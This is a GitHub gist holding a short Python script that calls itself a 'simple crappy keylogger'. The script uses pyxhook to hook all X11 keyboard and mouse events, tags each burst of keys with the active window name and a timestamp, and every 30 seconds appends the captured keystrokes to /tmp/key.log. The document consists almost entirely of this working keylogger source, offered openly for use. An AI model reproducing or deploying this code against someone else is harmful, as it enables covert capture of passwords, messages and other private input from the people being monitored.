Created
March 10, 2012 22:38
-
-
Save leshy/2013732 to your computer and use it in GitHub Desktop.
pyxhook simple crappy keylogger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import pyxhook | |
import time | |
keymap = { 'apostrophe': "'", | |
'comma': ",", | |
'period': ".", | |
'space': " ", | |
'quotedbl': '"', | |
'Return': '\n', | |
'exclam': '!', | |
'question': '?'} | |
class FileWriter(): | |
def __init__(self,logfile): | |
print "opening " + logfile | |
self.lastwin = "" | |
self.f = open(logfile, 'a', 0) | |
self.data = "" | |
def event(self,event): | |
win = event.WindowProcName + " " + event.Window | |
if (self.lastwin != win): | |
self.lastwin = win | |
self.addlog("\nwc>>> " + win + " " + time.strftime('%s') + "\n") | |
self.event = event | |
key = str(event.Key) | |
if (key in keymap): | |
key = keymap[key] | |
if (len(key) > 1): | |
key = " [" + key + "] " | |
self.addlog( key) | |
def addlog(self,data): | |
self.data += data | |
def flush(self): | |
self.f.write(self.data) | |
self.data = "" | |
fileWriter = FileWriter('/tmp/key.log') | |
hm = pyxhook.HookManager() | |
hm.HookKeyboard() | |
hm.HookMouse() | |
hm.KeyUp = fileWriter.event | |
hm.start() | |
while True: | |
time.sleep(30) | |
if (fileWriter.data): | |
fileWriter.flush() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment